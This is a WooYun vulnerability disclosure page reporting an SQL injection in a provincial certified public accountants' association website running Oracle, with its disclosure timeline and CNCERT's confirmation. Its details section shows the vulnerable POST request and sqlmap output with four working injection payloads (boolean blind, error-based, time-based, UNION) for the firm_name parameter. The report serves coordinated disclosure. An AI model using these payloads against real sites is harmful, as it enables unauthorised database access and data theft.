当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0159775

漏洞标题:某省注册会计师协会Oracle注入(涉及14个库)

相关厂商:cncert国家互联网应急中心

漏洞作者: 无名人

提交时间:2015-12-10 17:47

修复时间:2016-01-25 18:01

公开时间:2016-01-25 18:01

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-10: 细节已通知厂商并且等待厂商处理中
2015-12-14: 厂商已经确认,细节仅向厂商公开
2015-12-24: 细节向核心白帽子及相关领域专家公开
2016-01-03: 细节向普通白帽子公开
2016-01-13: 细节向实习白帽子公开
2016-01-25: 细节向公众公开

简要描述:

RT

详细说明:

漏洞地址:

POST /acctt_web/papers/swscx.asp HTTP/1.1
Host: **.**.**.**:8081
Content-Length: 31
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**:8081
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://**.**.**.**:8081/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASPSESSIONIDASQBCCAQ=FJFDIKOABFHOGPAKCDEIDELI
firm_name=%BA%A3%BF%DA&x=0&y=12


firm_name参数存在注入

---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: firm_name=%BA%A3%BF%DA%' AND 3207=3207 AND '%'='&x=0&y=12
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: firm_name=%BA%A3%BF%DA%' AND 6360=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(120)||CHR(112)||CHR(113)||CHR(113)||(SELECT (CASE WHEN (6360=6360) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(107)||CHR(120)||CHR(98)||CHR(113)||CHR(62))) FROM DUAL) AND '%'='&x=0&y=12
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: firm_name=%BA%A3%BF%DA%' AND 3953=DBMS_PIPE.RECEIVE_MESSAGE(CHR(113)||CHR(100)||CHR(98)||CHR(66),5) AND '%'='&x=0&y=12
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: firm_name=%BA%A3%BF%DA%' UNION ALL SELECT CHR(113)||CHR(120)||CHR(112)||CHR(113)||CHR(113)||CHR(113)||CHR(100)||CHR(76)||CHR(117)||CHR(82)||CHR(81)||CHR(99)||CHR(121)||CHR(104)||CHR(122)||CHR(90)||CHR(76)||CHR(76)||CHR(70)||CHR(65)||CHR(98)||CHR(97)||CHR(73)||CHR(110)||CHR(88)||CHR(82)||CHR(88)||CHR(71)||CHR(99)||CHR(101)||CHR(110)||CHR(109)||CHR(116)||CHR(116)||CHR(81)||CHR(114)||CHR(110)||CHR(74)||CHR(119)||CHR(71)||CHR(72)||CHR(101)||CHR(102)||CHR(121)||CHR(88)||CHR(113)||CHR(107)||CHR(120)||CHR(98)||CHR(113),NULL FROM DUAL-- -&x=0&y=12
---
[21:24:51] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2000
web application technology: Microsoft IIS 5.0
back-end DBMS: Oracle

漏洞证明:

1.png

修复方案:

@@

版权声明:转载请注明来源 无名人@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-12-14 16:39

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给湖南分中心,由其后续协调网站管理单位处置.

最新状态:

暂无


漏洞评价:

评价